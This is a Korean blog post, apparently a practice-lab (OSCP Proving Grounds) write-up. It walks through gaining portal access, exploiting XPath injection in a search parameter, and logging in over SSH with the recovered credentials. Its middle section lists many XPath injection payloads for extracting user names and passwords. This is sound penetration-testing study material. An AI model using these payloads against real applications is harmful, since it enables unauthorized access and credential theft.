[목차]
1.Information Gathering
2. XPath Injection
3. Exploitation
4. Privilege Escalation
[Information Gathering]
: Port scanning
: web enum
80 포트를 뒤져보면 위 결과처럼
몇몇 php endpoint 들이 존재하는데
우선 register를 시도해 보니
이메일을 통한 별도의 인증 기능이 없어
임의의 정보로 회원가입이 가능한 상황.
대충 아무 정보로 회원가입 진행 뒤
로그인을 해보면 정상 로그인이
되는데
EMPLYOEE PORTAL 메뉴에 접근해 보면
Access Denied가 뜬다.
회원가입과 로그인은 되는데
관계자가 아닌 관계로
문전 박대를 당하는 상황.
그렇다면 우선
관계자로 로그인하는 방법을
찾아야 하겠다.
뭔가 조건이 있는 것 같아 소스를 뒤져봤지만
못 찾았고 대신 어떤 곳을 보면
이메일 도메인 주소 확인이 가능한데
왠지 해당 도메인을 사용해 회원가입을 하면
관계자로 받아들여지지 않을까 생각에
다시 한번 회원가입을 시도
로그인 후
EMPLOYEE PORTAL 페이지에 접속해 보면
정상 접속 가능!
일단 검색 버튼을 눌러보면
사용자 명 확인이 가능하고
GET 방식이라 파라미터가 노출되는데
싱글 쿼터를 입력해 서버 반응을 살펴보면
XML Error가 발생!
work 파라미터가 취약한 것으로
확인되었다.
XML 에러 발생의 경우, 일반적으로
XPATH 인젝션 가능성을 떠올릴 수 있는데
실무에서는 한 번도 발견된 적이 없었기 때문에
좀 낯설지만, 문제는 또 풀어야 하니
이참에 공부하면서 공격 방법을 확인해 본다.
[Xpath Injection]
1. Xpath Injection 이란
XPath Injection is an attack technique
used to exploit applications that construct XPath
(XML Path Language) queries from user-supplied input
to query or navigate XML documents.
Xpath 인젝션은 XML 구조에
악의적인 행위를 일으키는 내용을 삽입하거나
Xpath를 조작해 XML의 내용을 노출시키는
취약점으로,
트리구조로 구성되어 있는 XML에
'/' 문자를 사용하여 최상위 노드부터
질의할 곳을 지정할 수 있다.
다른 인젝션 류와 공격 기법은 동일하며
특정 문자열을 전달해서 인가되지 않은
데이터를 추출해 내는 것이 핵심
쉽게 XML을 DB,
XPath를 SQL이라 생각하면
조금 편한데
노드들로 이루어져 있는 XML의 데이터를
XPath로 호출하는 개념이다.
2. XPath 명령어 및 공격구문
XPath 명령어(expression)는 다음과 같으며
# 명령어 # 설명
-------------------------------------------------
/ 최상위 노드
// 현재 노드로부터 모든 노드 조회
* 모든 노드 조회
. 현재 노드
.. 현재 상위 노드 접근
parent 현재 노드의 부모 노드
child 현재 노즈의 자식 노드
[] 조건문
node() 현재 노드로부터 모든 노드 조회
@ 속성 선택
@* 모든 속성 선택
# 사용 예
----------------------------------------------
takudaddy takudaddy라는 이름의 모든 노드 선택
/takudaddy takudaddy의 root 요소(element) 선택 (경로가 /로 시작하면 항상 요소에 대한 절대 경로를 나타냄)
takudaddy/taku takudaddy 하위 모든 taku 자식 요소들(elements)을 선택
//taku 위치와 관계 없이 모든 taku 요소 선택
takudaddy//taku takudaddy 아래 위치와 관계없이 모든 taku 요소들 선택
//@taku 이름이 taku인 모든 속성(attribute) 선택
대표적인 공격 구문은 다음과 같다.
' or 1]%00
' or '1'='1
' or ''='
x' or 1=1 or 'x'='y
/
//
//*
*/*
@*
count(/child::node())
x' or name()='username' or 'x'='y
' and count(/*)=1 and '1'='1
' and count(/@*)=1 and '1'='1
' and count(/comment())=1 and '1'='1
search=')] | //user/*[contains(*,'
search=Har') and contains(../password,'c
search=Har') and starts-with(../password,'c
# 문자열 추출
----------------------------------------------------------------------
') or 1=1 or (' # 모든 이름 추출
') or 1=1] | //user/password[('')=(' # 모든 이름/비번 추출
'or 2=1] | //user/node()[('')=(' # 모든 값 추출
')] | //./node()[('')=(' # 모든 값 추출
')] | //node()[('')=(' # 모든 값 추출
') or 1=1] | //user/password[('')=(' # 모든 이름/비번 추출
')] | //password%00 # 모든 이름/비번 (null 인젝션)
')]/../*[3][text()!=(' # 모든 비번
')] | //user/*[1] | a[(' # 모든 사용자 ID
')] | //user/*[2] | a[(' # 모든 사용자 이름
')] | //user/*[3] | a[(' # 모든 사용자 비번
')] | //user/*[4] | a[(' # 모든 사용자 ID
이제 필요한 정보를 추출해 본다.
[Exploitation]
a. 모든 users 추출
6개
b. 모든 비번 추출
6개
위 정보를 통해 ssh로
로그인을 시도해 볼 수 있는데
유요한 계정은 하나
침투 성공
[Privilege Escalation]
'OSCP > Proving Ground' 카테고리의 다른 글
18. Maria (GET TO WORK) - Linux* (WP smtp plugin / xmlrpc.php) 중요! (2) | 2022.07.03 |
---|---|
17. Pelican (GET TO WORK) - Linux (0) | 2022.06.29 |
15. Robust (WARM UP) - Windows (SQL인젝션) (4) | 2022.06.15 |
14. Mice (WARM UP) - Windows (*remote mouse) (0) | 2022.06.13 |
13. Internal (WARM UP) - Windows (0) | 2022.06.12 |